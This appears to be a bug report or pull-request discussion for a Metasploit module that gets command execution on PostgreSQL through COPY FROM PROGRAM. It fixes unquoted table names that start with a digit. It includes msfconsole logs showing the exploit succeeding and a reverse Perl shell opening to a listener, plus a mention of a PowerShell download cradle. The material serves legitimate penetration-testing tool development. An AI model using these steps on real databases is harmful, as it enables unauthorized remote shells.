In about 16% of all cases the random value of "tablename" will be set to
a value starting with a number, which needs to be quoted before the
query is sent to the postgres server. Otherwise the query fails with the
message "Exploit failed". This is what happened to me, you can see an
example with a table name set manually here:
msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 192.168.2.2
RHOSTS => 192.168.2.2
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set tablename 123test
tablename => 123test
[...]
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run
[*] Started reverse TCP handler on 192.168.2.1:4444·
[*] 192.168.2.2:5432 - 192.168.2.2:5432 - PostgreSQL [...]
[*] 192.168.2.2:5432 - Exploiting...
[!] 192.168.2.2:5432 - 192.168.2.2:5432 - Unable to execute query: DROP TABLE IF EXISTS 123test;
[-] 192.168.2.2:5432 - Exploit Failed
This can be verified manually as follows, quoting the table name works:
$ psql --user postgres -W -h 192.168.2.2 template1
[...]
template1=# DROP TABLE IF EXISTS 123test;
ERROR: syntax error at or near "123"
LINE 1: DROP TABLE IF EXISTS 123test;
^
template1=# DROP TABLE IF EXISTS "123test";
NOTICE: table "123test" does not exist, skipping
DROP TABLE
With the patch, the script also works with table names which start with
numbers:
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run
[*] Started reverse TCP handler on 192.168.2.1:4444
[*] 192.168.2.2:5432 - 192.168.2.2:5432 - PostgreSQL [...]
[*] 192.168.2.2:5432 - Exploiting...
[+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test dropped successfully
[+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test created successfully
[+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test copied successfully(valid syntax/command)
[+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test dropped successfully(Cleaned)
[*] 192.168.2.2:5432 - Exploit Succeeded
[*] Command shell session 1 opened (192.168.2.1:4444 -> 192.168.2.2:51734 ) at 2022-03-24 10:15:33 +0100
PostgreSQL from 9.3 to latest has functionality allowing the database superuser & users in the 'pg_read_server_files' group to execute OS commands.
Explanation:
https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
This is my first run through of a Metasploit module so I would appreciate anyone helping me clean it up. It currently works on OSX & Linux by providing a cmd stager (like cmd/unix/reverse_perl), and on windows by first starting up a PowerShell download cradle, then putting the command in the COMMAND parameter. It feels a little hacky though 😁
sjanusz-r7